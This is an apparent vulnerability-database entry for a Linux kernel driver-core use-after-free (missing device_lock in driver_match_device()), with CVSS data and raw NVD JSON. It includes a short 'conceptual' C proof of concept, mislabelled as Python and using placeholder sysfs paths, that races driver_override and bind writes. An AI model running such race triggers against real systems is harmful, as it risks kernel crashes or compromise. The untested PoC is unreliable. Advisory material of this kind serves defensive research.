Security Vulnerability Report
中文
CVE-2026-31688 CVSS 7.8 HIGH

CVE-2026-31688

Published: 2026-04-27 18:16:54
Last Modified: 2026-05-06 18:36:57
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: driver core: enforce device_lock for driver_match_device() Currently, driver_match_device() is called from three sites. One site (__device_attach_driver) holds device_lock(dev), but the other two (bind_store and __driver_attach) do not. This inconsistency means that bus match() callbacks are not guaranteed to be called with the lock held. Fix this by introducing driver_match_device_locked(), which guarantees holding the device lock using a scoped guard. Replace the unlocked calls in bind_store() and __driver_attach() with this new helper. Also add a lock assertion to driver_match_device() to enforce this guarantee. This consistency also fixes a known race condition. The driver_override implementation relies on the device_lock, so the missing lock led to the use-after-free (UAF) reported in Bugzilla for buses using this field. Stress testing the two newly locked paths for 24 hours with CONFIG_PROVE_LOCKING and CONFIG_LOCKDEP enabled showed no UAF recurrence and no lockdep warnings.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // Conceptual PoC for triggering the race condition via sysfs // This code attempts to trigger the race in driver_override handling int main() { // These paths are examples and depend on the specific hardware/vulnerable driver const char* override_path = "/sys/bus/xxx/devices/xxxx:xx:xx.x/driver_override"; const char* bind_path = "/sys/bus/xxx/drivers/xxx/bind"; int fd_override = -1, fd_bind = -1; const char* target_driver = "vuln_driver"; const char* device_id = "xxxx:xx:xx.x"; printf("[+] Starting PoC for CVE-2026-31688...\n"); // Open file descriptors for the vulnerable sysfs entries fd_override = open(override_path, O_WRONLY); if (fd_override < 0) { perror("[-] Failed to open driver_override"); return 1; } fd_bind = open(bind_path, O_WRONLY); if (fd_bind < 0) { perror("[-] Failed to open bind"); close(fd_override); return 1; } printf("[+] Opened sysfs entries. Racing...\n"); // Rapidly write to trigger the race condition between bind_store and driver_match_device for (int i = 0; i < 10000; i++) { // Write driver name to override write(fd_override, target_driver, strlen(target_driver)); // Trigger bind operation which may call driver_match_device without lock write(fd_bind, device_id, strlen(device_id)); // Clear override to reset state (optional, depending on specific race logic) write(fd_override, "\n", 1); } printf("[+] Exploitation attempt finished.\n"); close(fd_override); close(fd_bind); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31688", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-27T18:16:54.287", "lastModified": "2026-05-06T18:36:57.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: enforce device_lock for driver_match_device()\n\nCurrently, driver_match_device() is called from three sites. One site\n(__device_attach_driver) holds device_lock(dev), but the other two\n(bind_store and __driver_attach) do not. This inconsistency means that\nbus match() callbacks are not guaranteed to be called with the lock\nheld.\n\nFix this by introducing driver_match_device_locked(), which guarantees\nholding the device lock using a scoped guard. Replace the unlocked calls\nin bind_store() and __driver_attach() with this new helper. Also add a\nlock assertion to driver_match_device() to enforce this guarantee.\n\nThis consistency also fixes a known race condition. The driver_override\nimplementation relies on the device_lock, so the missing lock led to the\nuse-after-free (UAF) reported in Bugzilla for buses using this field.\n\nStress testing the two newly locked paths for 24 hours with\nCONFIG_PROVE_LOCKING and CONFIG_LOCKDEP enabled showed no UAF recurrence\nand no lockdep warnings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.30", "versionEndExcluding": "7.0", "matchCriteriaId": "81C6A49A-929A-40D2-9FF9-222A3E70FAB9"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/dc23806a7c47ec5f1293aba407fb69519f976ee0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}